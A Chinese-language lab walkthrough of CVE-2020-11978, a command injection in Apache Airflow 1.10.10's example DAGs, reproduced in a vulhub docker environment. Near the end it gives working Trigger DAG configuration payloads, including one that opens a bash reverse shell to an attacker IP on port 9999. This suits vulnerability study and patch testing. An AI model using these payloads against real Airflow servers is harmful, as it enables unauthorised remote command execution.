Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
Apache Airflow <= 1.10.10
由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。
下载环境https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
依次执行如下命令启动airflow 1.10.10:
#初始化数据库
docker-compose run airflow-init
#启动服务
docker-compose up -d
使用docker ps -a 查看端口映射情况,访问8080进入airflow管理端
下载环境:https://github.com/apache/airflow/archive/refs/tags/1.10.10.zip
漏洞描述
CVE-2020-11978 - RCE/command execution in example dag A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable. Reported by xuxiang of DtDream security
CVE-2020-11978 - 示例 dag 中的 RCE/命令执行 在 Airflow 附带的示例 DAG 之一中发现了远程代码/命令注入漏洞,这将允许任何经过身份验证的用户以运行气流工作程序/调度程序的用户身份运行任意命令
默认情况下Airflow Web UI是未授权访问的,直接可以登录,而登录后,只能查看DAG的调度状态等,无法进行更多操作。
但Airflow Web UI中提供了触发DAG运行的功能,以便测试DAG,同时Airflow为了让使用者可以快速熟悉其DAG开发流程和功能,为了更好的示例这些DAG覆盖了大多的执行器。而其中两个DAG组合起来可触发命令注入导致漏洞产生。
首先看下下面两个DAG
#airflow/example_dags/example_trigger_controller_dag.py
from airflow import DAG
from airflow.operators.dagrun_operator import TriggerDagRunOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_controller_dag",
default_args={"owner": "airflow", "start_date": days_ago(2)},
schedule_interval="@once",
tags=['example']
)
trigger = TriggerDagRunOperator(
task_id="test_trigger_dagrun",
trigger_dag_id="example_trigger_target_dag", # Ensure this equals the dag_id of the DAG to trigger
conf={"message": "Hello World"},
dag=dag,
)
#airflow/example_dags/example_trigger_target_dag.py
from airflow import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.python import PythonOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_target_dag",
default_args={"start_date": days_ago(2), "owner": "airflow"},
schedule_interval=None,
tags=['example']
)
def run_this_func(**context):
"""
Print the payload "message" passed to the DagRun conf attribute.
:param context: The execution context
:type context: dict
"""
print("Remotely received value of {} for key=message".format(context["dag_run"].conf["message"]))
run_this = PythonOperator(task_id="run_this", python_callable=run_this_func, dag=dag)
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: \'{{ dag_run.conf["message"] if dag_run else "" }}\'"',
dag=dag,
)
官方对这两个DAG的说明如下:
Example usage of the TriggerDagRunOperator. This example holds 2 DAGs:
1. 1st DAG (example_trigger_controller_dag) holds a TriggerDagRunOperator, which will trigger the 2nd DAG
持有一个 TriggerDagRunOperator,它将触发第二个 DAG
2. 2nd DAG (example_trigger_target_dag) which will be triggered by the TriggerDagRunOperator in the 1st DAG
这将由第一个 DAG 中的 TriggerDagRunOperator 触发
可以看出Airflow希望通过这两个DAG组合来展示如果通过一个DAG(example_trigger_controller_dag)来动态的调用另外一个DAG(example_trigger_target_dag)。即通过example_trigger_controller_dag内部定义的conf={"message": "Hello World"}
来触发example_trigger_target_dag中bash_command='echo "Here is the message: \'{{ dag_run.conf["message"] if dag_run else "" }}\'"'
的运行。
此处看起来:存在命令执行点'echo "Here is the message: \'{{ dag_run.conf["message"] if dag_run else "" }}\'"'
使用的是Python下面的Jinja模板,因此会根据后面的if…else逻辑来执行dag_run.conf[“message”] 来动态加载内容,此处如果dag_run.conf["message"]
可控,则可以通过Jinja模板注入恶意命令。
但根据上面信息可以看出,输入dag_run.conf["message"]
由第一个DGA传递过来的,看起来无法控制。Airflow中DAG Run 是一个对象,表示 DAG 在时间上的实例化。而其中conf 正是用于传递参数的方式, Airflow提供了多渠道可以修改conf,包括命令行例如:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
同时也包含Web UI 上直接触发任意DAG并传递dag_run.conf:
详细信息可以参考Airflow官方文档中队dag_run的详细说明:http://airflow.apache.org/docs/stable/dag-run.html?highlight=dag_run
因此可以直接利用此接口触发example_trigger_target_dag.py的调度,这样就可以绕过example_trigger_controller_dag中写死的配置。
访问airflow管理端后,先将example_trigger_target_dag前的Off改为On,并进入:
进入Trigger DAG
在Configuration JSON中输入{“message”:“'”;touch /tmp/airflow_dag_success;#"},在tmp文件内创建airflow_dag_success,点击Trigger执行:
等待一段时间后可以看到succes,该命令成功执行:
输入命令docker-compose exec airflow-worker bash
进入容器查看,发现命令执行成功
在攻击机192.168.237.130)上开启nc反监听,设置端口9999:
在Configuration JSON中输入{"message":"'\";bash -i >& /dev/tcp/192.168.237.130/9999 0>&1;#"}
并执行
一段时间后已成功执行,成功反弹shell,可以命令执行了。
https://xz.aliyun.com/t/8037